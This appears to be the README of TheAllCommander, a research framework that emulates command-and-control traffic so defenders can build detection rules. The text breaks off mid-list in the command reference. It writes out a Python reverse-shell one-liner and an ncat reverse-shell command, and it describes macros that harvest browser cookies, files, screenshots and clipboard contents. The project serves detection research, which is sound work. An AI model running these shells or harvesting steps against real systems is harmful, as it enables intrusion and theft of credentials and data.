TheAllCommander

Framework for modeling and researching C2 communications for developing efficient filtering and detection logic.

New with TheAllCommander 2.1.3 -> Beta Release Audit Mode!

Featured in: DEFCON Demolabs 2022 and 2024, Black Hat USA Arsenal 2024

Development blog: http://matthandy.net/TAC-development.html

Why TheAllCommander?

TheAllCommander allows researchers to easily develop their own communication modules and connect them to this framework, then leverage the existing framework to test elements of the Red Team workflow through the communication protocol for further study.

What TheAllCommander is...

A flexible framework for studying, modeling, and testing new C2 communication protocols.

A portable framework for executing tests of an environments ability to detect non-nominal C2 traffic.

A robust framework that allows simulation of an attacker's Tools Techniques and Procedures (TTPs) while providing direct mitigation and detection suggestions for augmenting a SIEM.

What TheAllCommander is not...

TheAllCommander does not natively sling exploits - this is not trying to be Metasploit. TheAllCommander does not provide malware agents for use in an engagement - this is not trying to be Cobalt Strike. Note: TheAllCommander daemon announces itself with a warning in the Windows Event Log. It is <em>not</em> intended for red team engagements.

Concept of Operations

The central server, TheAllCommander, receives incoming connections on a variety of communications protocols. Current, it supports HTTP, HTTPS, Email, text over TCP, and UDP (DNS traffic emulation). This allows for a single server to control local daemons over any of those protocols. TheAllCommander can be controlled from either a LocalConnection terminal based interface or TheAllCommanderFE, an Angular application developed to allow a GUI for inputing commands. All commands, listed below, are translated by TheAllCommander into a platform specific format if needed, and then transmitted to the local daemon.

Daemons are uniquely identified by the combination of user account, hostname, and protocol. Therefore multiple daemons can exist on a target system via different protocols, or via different user permission levels. It is also possible to spawn a daemon that identifies itself with a UID, which is specified as a unique identifier consisting of 16 alphanumeric characters. If a UID is specified for the daemon, the server will check to see if there is a prior session for the daemon's combination of hostname, user id, and protocol. If there is such a session, but the other daemon has not been in contact with the server within the configurable expected contact time, then the new daemon will assume the session of the previous one. However, if the other session is still active, then the server will allow both sessions to exist simultaneously. See the HTTPS handler reference implementation for details.

Defense Recommendations

TheAllCommander has an evolving guide for detection of as many client side indicators of compromise emulated by this tool as possible. It can be found here: Blue Team Guide

Audit Mode

TheAllCommander can audit for systems for common misconfiguration, including service quoting errors, service argument permissions issues, improper registry settings, etc. The audit sequence is intended to be running with a daemon running as a normal, low permission user. A higher number of false positives will be identified if running as an administrative user, as the daemon will identify permissions for things that a nominal user should be able to to. Compatibility for audits has been tested with both text-only command channels and the python daemon.

audit_all_the_things - The command macro to invoke the audit suite.

Interfaces

Check out the Developers Guide

There are several key classes which are described in detail in the Javadoc for this project.

At a high level, this is the user-implementable part of the workflow: To communicate with a remote agent/exploit/etc, TheAllCommander defines an abstract class c2.C2Interface. It also implements Runnable, where the programmer will implement whatever operations are necessary to initialize communications. Communiation with the rest of TheAllCommander is facilitated with the IOManager class, which is a thread safe vehicle passed to the C2 interface on initialization. The C2Interface instance can request commands relevant to connect clients from this class, as well as pass along return communications. TheAllCommander handles routing those communications to the controlling agent.

There is also an AbstractCommandMacro class which can accept commands and translate them to more complex instructions. For example, TheAllCommander comes with two macro sets out of the box. The first of these is the CookieDeletionMacro, which allows the user to simply state the command "delete_cookies". The CookieDeletionMacro will then decompose this instruction into a series of instructions that delete Firefox, Chrome, and Edge cookies for the current user session on the target system. There is also the "harvest_cookies" macro, which instructs the remote daemon to send Firefox, Chrome, and Edge cookies to TheAllCommander.

Daemons

Currently, TheAllCommander has been tested with the following payloads:

1. Python. Currently TheAllCommander includes a HTTPS, UDP/DNS, and EMail emulation daemon. These daemons are in no way produced for operations in a real Red Team engagement, and are developed to serve as a template for further comm development. Both demonstrate use of these communication protocols in a comparable way. Note: The email daemon is Windows specific and has not yet been ported to Linux.

2. Text over tcp reverse shells

   a) Msfvenom unstaged tcp payloads (windows/x64/shell_reverse_tcp and linux/x86/shell_reverse_tcp)

   b) "Python oneliner" -> TheAllCommander can receive connections from python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call (["/bin/sh","-i"]);' Note: This has been tested with /bin/sh and the $ will be removed to normalize IO with a Linux ncat shell

   c) ncat <ip> <port> -e cmd | /bin/bash -> works on both Linux and Windows

   d) Powershell native text over tcp reverse shells

3. TheAllCommander has been augmented with the ability to parse C# code and serve it to a C# stager. At present, only a harmless "Hello World" example is provided to demonstrate client-side indicators of compromise. See "C# Staging" below.

4. A Java code parser and stager has been added alongside C#. While most active tradecraft for Windows using this sort of staged attack in a self-compiling language is focused on C#, the lack of focus on Java introduces a number of opportunities.

5. C++, C# and Java daemons with limited functionality exist that interoperate with the server framework, designed to generate IOCs related to tradecraft techniques related to use of these languages in certain red team strategies. However, useful Blue Team mitigations have not yet been developed, which is a goal of this project. They will be publicly released outside the collaborative team when a reliable method for Blue Team detection is developed.

Commands

The following commands are supported in the default protocol test daemon:

ps - List all running process

pwd - Print Working Directory

getuid - prints username, user directory, and hostname

uplink (filename) - returns a file from the remote host in base64. TheAllCommanderFE will automatically allow download of the file.

<control> download (filename) (base64 file binary) - downloads file to remote host. TheAllCommanderFE allows users to select a file from the GUI and it will be automatically transferred to the daemon.

cd (directory) - changes present directory

die - Local daemon closes

screenshot (No Linux/Mac support) - Captures a screenshot, and uploads to the HARVEST directory based on hostname\username\time-tagged-file

clipboard (No Linux/Mac support) - captures the clipboard contents and uploads the contents to the HARVEST directory based on hostname-pid-username folder

cat

cat (filename) - reads files

cat >(filename) - writes to file, overwriting. each line entered builds a string, then committed to the file. <done> to close, <cancel> to cancel operation

cat >>(filename) - same as ">", except appends to file

cat (file) > (file2) - copies file to file2, overwriting content

cat (file) >> (file2) - appends file to file2
 

proxy <Remote IP> <port> <local port>

This command binds a TCP listener to <local port> on the TheAllCommander's command server. The remote daemon will
open a socket to host <Remote IP> at <port>, and will function as a TCP proxy. This mode is currently supported for 
HTTP, DNS, and email clients.
Note: The proxy only supports IPv4 at this time, and using "localhost" may resolve to an IPv6 loopback. Use 127.0.0.1 instead

killproxy <Remote IP> <port>

Terminates the associated proxy on the server and client

confirm_client_proxy <ip>:<port>

Responds with "yes" or "no" depending on if a proxy is running on the daemon

harvest_pwd

Uploads all files and directories, recursively, from the pwd of the daemon. Works on Python implementation. Currently
this implementation is rudamentary and uses a simple TCP socket, but will evolve to model more sophisticated attacks for
robust detection testing.

New with 2.0 - expanded functionality to include text-only channels

kill_all_harvests

Terminates all currently open harvest operations

listActiveHarvests

Lists